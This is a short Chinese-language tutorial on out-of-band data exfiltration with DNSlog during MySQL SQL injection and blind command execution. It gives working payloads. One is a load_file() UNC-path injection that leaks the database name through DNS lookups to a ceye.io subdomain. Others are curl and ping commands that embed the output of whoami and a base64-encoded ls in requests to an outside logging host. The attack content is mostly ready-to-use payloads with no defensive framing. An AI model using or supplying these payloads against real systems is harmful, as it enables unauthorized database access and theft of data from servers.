Dns在域名解析时会留下域名和解析ip的记录,利用这点我们可以使用Dnslog记录显示我们的注入结果
Dnslog注入可以减少请求,直接回显信息
注入需要用到mysql的load_file()函数,使用
show variables like '%secure%';
查看信息
secure_file_priv表示load_file()允许导入导出的路径
在windows上需要配置my.ini文件,添加
secure_file_priv="",重启
linux不知道怎么弄....
在http://ceye.io注册个账号,获取dnslog日志记录
注册后我们会获得一个子域名,为xxx.ceye.io
当我们访问test.xxx.ceye.io后,在日志中已经记录了该请求
回到sql注入中,利用load_file,实现信息获取
栗子:mysql执行select load_file('\\\\helloworld.xxx.ceye.io\\aa');
日志中的结果:
利用该方法获取数据库名:
and if((select load_file(concat('\\\\',(select database()),'.xxxx.ceye.io\\aaa'))),1,1)
执行后查看日志,日志中显示出了库名
此外dnslog可以执行无回显的命令执行
执行命令curl http://linux.xxxx.ceye.io//`whoami`
或者
ping `whoami`.xxx.ceye.io
当然,这样执行ls会出问题,把他base64编码并且把回车‘/n’,换成 ‘-’ 再访问
curl http://linux.xxx.ceye.io//`ls|base64|tr '\n' '-'`
拿到结果后去掉 ‘-’ 再解码就好了